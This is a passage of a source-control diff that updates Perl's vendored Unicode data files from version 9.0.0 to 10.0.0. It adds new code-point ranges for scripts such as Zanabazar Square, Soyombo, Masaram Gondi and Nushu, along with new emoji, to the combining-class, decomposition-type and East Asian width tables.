-1B000..1B001  ; 0 # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; 0 # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; 0 # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; 0 # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; 0 # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; 0 # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -1741,11 +1779,12 @@
 1F210..1F23B  ; 0 # So  [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
 1F240..1F248  ; 0 # So   [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F250..1F251  ; 0 # So   [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F260..1F265  ; 0 # So   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F3FA  ; 0 # So [251] CYCLONE..AMPHORA
 1F3FB..1F3FF  ; 0 # Sk   [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
-1F400..1F6D2  ; 0 # So [723] RAT..SHOPPING TROLLEY
+1F400..1F6D4  ; 0 # So [725] RAT..PAGODA
 1F6E0..1F6EC  ; 0 # So  [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
-1F6F0..1F6F6  ; 0 # So   [7] SATELLITE..CANOE
+1F6F0..1F6F8  ; 0 # So   [9] SATELLITE..FLYING SAUCER
 1F700..1F773  ; 0 # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F780..1F7D4  ; 0 # So  [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
 1F800..1F80B  ; 0 # So  [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -1753,18 +1792,18 @@
 1F850..1F859  ; 0 # So  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; 0 # So  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; 0 # So  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910..1F91E  ; 0 # So  [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927  ; 0 # So   [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930         ; 0 # So       PREGNANT WOMAN
-1F933..1F93E  ; 0 # So  [12] SELFIE..HANDBALL
-1F940..1F94B  ; 0 # So  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E  ; 0 # So  [15] CROISSANT..PANCAKES
-1F980..1F991  ; 0 # So  [18] CRAB..SQUID
+1F900..1F90B  ; 0 # So  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F910..1F93E  ; 0 # So  [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C  ; 0 # So  [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B  ; 0 # So  [28] CROISSANT..CANNED FOOD
+1F980..1F997  ; 0 # So  [24] CRAB..CRICKET
 1F9C0         ; 0 # So       CHEESE WEDGE
+1F9D0..1F9E6  ; 0 # So  [23] FACE WITH MONOCLE..SOCKS
 20000..2A6D6  ; 0 # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
 2A700..2B734  ; 0 # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; 0 # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; 0 # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; 0 # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; 0 # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 E0001         ; 0 # Cf       LANGUAGE TAG
 E0020..E007F  ; 0 # Cf  [96] TAG SPACE..CANCEL TAG
@@ -1772,8 +1811,8 @@
 F0000..FFFFD  ; 0 # Co [65534] <private-use-F0000>..<private-use-FFFFD>
 100000..10FFFD; 0 # Co [65534] <private-use-100000>..<private-use-10FFFD>
 
-# The above property value applies to 848407 code points not listed here.
-# Total code points: 1113298
+# The above property value applies to 839889 code points not listed here.
+# Total code points: 1113286
 
 # ================================================
 
@@ -1818,9 +1857,10 @@
 114C3         ; 7 # Mn       TIRHUTA SIGN NUKTA
 115C0         ; 7 # Mn       SIDDHAM SIGN NUKTA
 116B7         ; 7 # Mn       TAKRI SIGN NUKTA
+11D42         ; 7 # Mn       MASARAM GONDI SIGN NUKTA
 1E94A         ; 7 # Mn       ADLAM NUKTA
 
-# Total code points: 22
+# Total code points: 23
 
 # ================================================
 
@@ -1842,6 +1882,7 @@
 0BCD          ; 9 # Mn       TAMIL SIGN VIRAMA
 0C4D          ; 9 # Mn       TELUGU SIGN VIRAMA
 0CCD          ; 9 # Mn       KANNADA SIGN VIRAMA
+0D3B..0D3C    ; 9 # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D4D          ; 9 # Mn       MALAYALAM SIGN VIRAMA
 0DCA          ; 9 # Mn       SINHALA SIGN AL-LAKUNA
 0E3A          ; 9 # Mn       THAI CHARACTER PHINTHU
@@ -1877,9 +1918,13 @@
 1163F         ; 9 # Mn       MODI SIGN VIRAMA
 116B6         ; 9 # Mc       TAKRI SIGN VIRAMA
 1172B         ; 9 # Mn       AHOM SIGN KILLER
+11A34         ; 9 # Mn       ZANABAZAR SQUARE SIGN VIRAMA
+11A47         ; 9 # Mn       ZANABAZAR SQUARE SUBJOINER
+11A99         ; 9 # Mn       SOYOMBO SUBJOINER
 11C3F         ; 9 # Mn       BHAIKSUKI SIGN VIRAMA
+11D44..11D45  ; 9 # Mn   [2] MASARAM GONDI SIGN HALANTA..MASARAM GONDI VIRAMA
 
-# Total code points: 47
+# Total code points: 54
 
 # ================================================
 
@@ -2275,6 +2320,7 @@
 1DC2          ; 220 # Mn       COMBINING SNAKE BELOW
 1DCA          ; 220 # Mn       COMBINING LATIN SMALL LETTER R BELOW
 1DCF          ; 220 # Mn       COMBINING ZIGZAG BELOW
+1DF9          ; 220 # Mn       COMBINING WIDE INVERTED BRIDGE BELOW
 1DFD          ; 220 # Mn       COMBINING ALMOST EQUAL TO BELOW
 1DFF          ; 220 # Mn       COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 20E8          ; 220 # Mn       COMBINING TRIPLE UNDERDOT
@@ -2291,7 +2337,7 @@
 1D18A..1D18B  ; 220 # Mn   [2] MUSICAL SYMBOL COMBINING DOUBLE TONGUE..MUSICAL SYMBOL COMBINING TRIPLE TONGUE
 1E8D0..1E8D6  ; 220 # Mn   [7] MENDE KIKAKUI COMBINING NUMBER TEENS..MENDE KIKAKUI COMBINING NUMBER MILLIONS
 
-# Total code points: 153
+# Total code points: 154
 
 # ================================================
 
@@ -2326,9 +2372,10 @@
 
 05AE          ; 228 # Mn       HEBREW ACCENT ZINOR
 18A9          ; 228 # Mn       MONGOLIAN LETTER ALI GALI DAGALGA
+1DF7..1DF8    ; 228 # Mn   [2] COMBINING KAVYKA ABOVE LEFT..COMBINING DOT ABOVE LEFT
 302B          ; 228 # Mn       IDEOGRAPHIC RISING TONE MARK
 
-# Total code points: 3
+# Total code points: 5
 
 # ================================================
 
@@ -2454,9 +2501,10 @@
 0315          ; 232 # Mn       COMBINING COMMA ABOVE RIGHT
 031A          ; 232 # Mn       COMBINING LEFT ANGLE ABOVE
 0358          ; 232 # Mn       COMBINING DOT ABOVE RIGHT
+1DF6          ; 232 # Mn       COMBINING KAVYKA ABOVE RIGHT
 302C          ; 232 # Mn       IDEOGRAPHIC DEPARTING TONE MARK
 
-# Total code points: 4
+# Total code points: 5
 
 # ================================================
 

Modified: vendor/perl/dist/lib/unicore/extracted/DDecompositionType.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DDecompositionType.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DDecompositionType.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedDecompositionType-9.0.0.txt
-# Date: 2016-03-02, 18:54:58 GMT
-# © 2016 Unicode®, Inc.
+# DerivedDecompositionType-10.0.0.txt
+# Date: 2017-02-14, 04:26:05 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #

Modified: vendor/perl/dist/lib/unicore/extracted/DEastAsianWidth.txt
===================================================================
--- vendor/perl/dist/lib/unicore/extracted/DEastAsianWidth.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/extracted/DEastAsianWidth.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# DerivedEastAsianWidth-9.0.0.txt
-# Date: 2016-06-01, 10:34:25 GMT
-# © 2016 Unicode®, Inc.
+# DerivedEastAsianWidth-10.0.0.txt
+# Date: 2017-03-08, 08:41:49 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -196,6 +196,7 @@
 0840..0858    ; N # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 0859..085B    ; N # Mn   [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK
 085E          ; N # Po       MANDAIC PUNCTUATION
+0860..086A    ; N # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; N # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; N # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 08D4..08E1    ; N # Mn  [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA
@@ -247,6 +248,8 @@
 09F4..09F9    ; N # No   [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA          ; N # So       BENGALI ISSHAR
 09FB          ; N # Sc       BENGALI GANDA MARK
+09FC          ; N # Lo       BENGALI LETTER VEDIC ANUSVARA
+09FD          ; N # Po       BENGALI ABBREVIATION SIGN
 0A01..0A02    ; N # Mn   [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI
 0A03          ; N # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; N # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
@@ -291,6 +294,7 @@
 0AF0          ; N # Po       GUJARATI ABBREVIATION SIGN
 0AF1          ; N # Sc       GUJARATI RUPEE SIGN
 0AF9          ; N # Lo       GUJARATI LETTER ZHA
+0AFA..0AFF    ; N # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; N # Mn       ORIYA SIGN CANDRABINDU
 0B02..0B03    ; N # Mc   [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA
 0B05..0B0C    ; N # Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L
@@ -382,11 +386,12 @@
 0CE2..0CE3    ; N # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
 0CE6..0CEF    ; N # Nd  [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
 0CF1..0CF2    ; N # Lo   [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
-0D01          ; N # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; N # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
 0D02..0D03    ; N # Mc   [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
 0D05..0D0C    ; N # Lo   [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
 0D0E..0D10    ; N # Lo   [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
 0D12..0D3A    ; N # Lo  [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C    ; N # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3D          ; N # Lo       MALAYALAM SIGN AVAGRAHA
 0D3E..0D40    ; N # Mc   [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
 0D41..0D44    ; N # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
@@ -715,6 +720,7 @@
 1CF2..1CF3    ; N # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF4          ; N # Mn       VEDIC TONE CANDRA ABOVE
 1CF5..1CF6    ; N # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; N # Mc       VEDIC SIGN ATIKRAMA
 1CF8..1CF9    ; N # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
 1D00..1D2B    ; N # L&  [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A    ; N # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
@@ -722,7 +728,7 @@
 1D78          ; N # Lm       MODIFIER LETTER CYRILLIC EN
 1D79..1D9A    ; N # L&  [34] LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
 1D9B..1DBF    ; N # Lm  [37] MODIFIER LETTER SMALL TURNED ALPHA..MODIFIER LETTER SMALL THETA
-1DC0..1DF5    ; N # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; N # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; N # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 1E00..1F15    ; N # L& [278] LATIN CAPITAL LETTER A WITH RING BELOW..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
 1F18..1F1D    ; N # L&   [6] GREEK CAPITAL LETTER EPSILON WITH PSILI..GREEK CAPITAL LETTER EPSILON WITH DASIA AND OXIA
@@ -795,7 +801,7 @@
 2090..209C    ; N # Lm  [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T
 20A0..20A8    ; N # Sc   [9] EURO-CURRENCY SIGN..RUPEE SIGN
 20AA..20AB    ; N # Sc   [2] NEW SHEQEL SIGN..DONG SIGN
-20AD..20BE    ; N # Sc  [18] KIP SIGN..LARI SIGN
+20AD..20BF    ; N # Sc  [19] KIP SIGN..BITCOIN SIGN
 20D0..20DC    ; N # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
 20DD..20E0    ; N # Me   [4] COMBINING ENCLOSING CIRCLE..COMBINING ENCLOSING CIRCLE BACKSLASH
 20E1          ; N # Mn       COMBINING LEFT RIGHT ARROW ABOVE
@@ -907,8 +913,7 @@
 23E2..23E8    ; N # So   [7] WHITE TRAPEZIUM..DECIMAL EXPONENT SYMBOL
 23ED..23EF    ; N # So   [3] BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR..BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
 23F1..23F2    ; N # So   [2] STOPWATCH..TIMER CLOCK
-23F4..23FE    ; N # So  [11] BLACK MEDIUM LEFT-POINTING TRIANGLE..POWER SLEEP SYMBOL
-2400..2426    ; N # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23F4..2426    ; N # So  [51] BLACK MEDIUM LEFT-POINTING TRIANGLE..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; N # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 24EA          ; N # No       CIRCLED DIGIT ZERO
 254C..254F    ; N # So   [4] BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL..BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL
@@ -1027,7 +1032,7 @@
 2B76..2B95    ; N # So  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; N # So  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8    ; N # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; N # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; N # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; N # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2C00..2C2E    ; N # L&  [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
 2C30..2C5E    ; N # L&  [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
@@ -1095,7 +1100,7 @@
 2E40          ; N # Pd       DOUBLE HYPHEN
 2E41          ; N # Po       REVERSED COMMA
 2E42          ; N # Ps       DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44    ; N # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; N # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 303F          ; N # So       IDEOGRAPHIC HALF FILL SPACE
 4DC0..4DFF    ; N # So  [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
 A4D0..A4F7    ; N # Lo  [40] LISU LETTER BA..LISU LETTER OE
@@ -1311,7 +1316,7 @@
 102E1..102FB  ; N # No  [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
 10300..1031F  ; N # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323  ; N # No   [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
-10330..10340  ; N # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; N # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; N # Nl       GOTHIC LETTER NINETY
 10342..10349  ; N # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; N # Nl       GOTHIC LETTER NINE HUNDRED
@@ -1554,6 +1559,28 @@
 118E0..118E9  ; N # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118EA..118F2  ; N # No   [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF         ; N # Lo       WARANG CITI OM
+11A00         ; N # Lo       ZANABAZAR SQUARE LETTER A
+11A01..11A06  ; N # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; N # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; N # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32  ; N # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38  ; N # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; N # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; N # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E  ; N # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F..11A46  ; N # Po   [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A47         ; N # Mn       ZANABAZAR SQUARE SUBJOINER
+11A50         ; N # Lo       SOYOMBO LETTER A
+11A51..11A56  ; N # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; N # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; N # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83  ; N # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; N # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96  ; N # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; N # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; N # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
+11A9A..11A9C  ; N # Po   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; N # Po   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
 11AC0..11AF8  ; N # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; N # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; N # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -1575,6 +1602,16 @@
 11CB2..11CB3  ; N # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB4         ; N # Mc       MARCHEN VOWEL SIGN O
 11CB5..11CB6  ; N # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06  ; N # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; N # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; N # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36  ; N # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; N # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; N # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; N # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46         ; N # Lo       MASARAM GONDI REPHA
+11D47         ; N # Mn       MASARAM GONDI RA-KARA
+11D50..11D59  ; N # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399  ; N # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; N # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12470..12474  ; N # Po   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -1761,6 +1798,7 @@
 1F650..1F67F  ; N # So  [48] NORTH WEST POINTING LEAF..REVERSE CHECKER BOARD
 1F6C6..1F6CB  ; N # So   [6] TRIANGLE WITH ROUNDED CORNERS..COUCH AND LAMP
 1F6CD..1F6CF  ; N # So   [3] SHOPPING BAGS..BED
+1F6D3..1F6D4  ; N # So   [2] STUPA..PAGODA
 1F6E0..1F6EA  ; N # So  [11] HAMMER AND WRENCH..NORTHEAST-POINTING AIRPLANE
 1F6F0..1F6F3  ; N # So   [4] SATELLITE..PASSENGER SHIP
 1F700..1F773  ; N # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
@@ -1770,11 +1808,12 @@
 1F850..1F859  ; N # So  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; N # So  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; N # So  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
+1F900..1F90B  ; N # So  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
 E0001         ; N # Cf       LANGUAGE TAG
 E0020..E007F  ; N # Cf  [96] TAG SPACE..CANCEL TAG
 
-# The above property value applies to 770633 code points not listed here.
-# Total code points: 794146
+# The above property value applies to 769609 code points not listed here.
+# Total code points: 793401
 
 # ================================================
 
@@ -2098,7 +2137,7 @@
 30FB          ; W # Po       KATAKANA MIDDLE DOT
 30FC..30FE    ; W # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; W # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; W # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; W # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; W # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191    ; W # So   [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195    ; W # No   [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -2119,8 +2158,8 @@
 3300..33FF    ; W # So [256] SQUARE APAATO..SQUARE GAL
 3400..4DB5    ; W # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
 4DB6..4DBF    ; W # Cn  [10] <reserved-4DB6>..<reserved-4DBF>
-4E00..9FD5    ; W # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
-9FD6..9FFF    ; W # Cn  [42] <reserved-9FD6>..<reserved-9FFF>
+4E00..9FEA    ; W # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
+9FEB..9FFF    ; W # Cn  [21] <reserved-9FEB>..<reserved-9FFF>
 A000..A014    ; W # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; W # Lm       YI SYLLABLE WU
 A016..A48C    ; W # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -2175,10 +2214,11 @@
 FE68          ; W # Po       SMALL REVERSE SOLIDUS
 FE69          ; W # Sc       SMALL DOLLAR SIGN
 FE6A..FE6B    ; W # Po   [2] SMALL PERCENT SIGN..SMALL COMMERCIAL AT
-16FE0         ; W # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; W # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; W # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; W # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; W # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; W # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; W # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1F004         ; W # So       MAHJONG TILE RED DRAGON
 1F0CF         ; W # So       PLAYING CARD BLACK JOKER
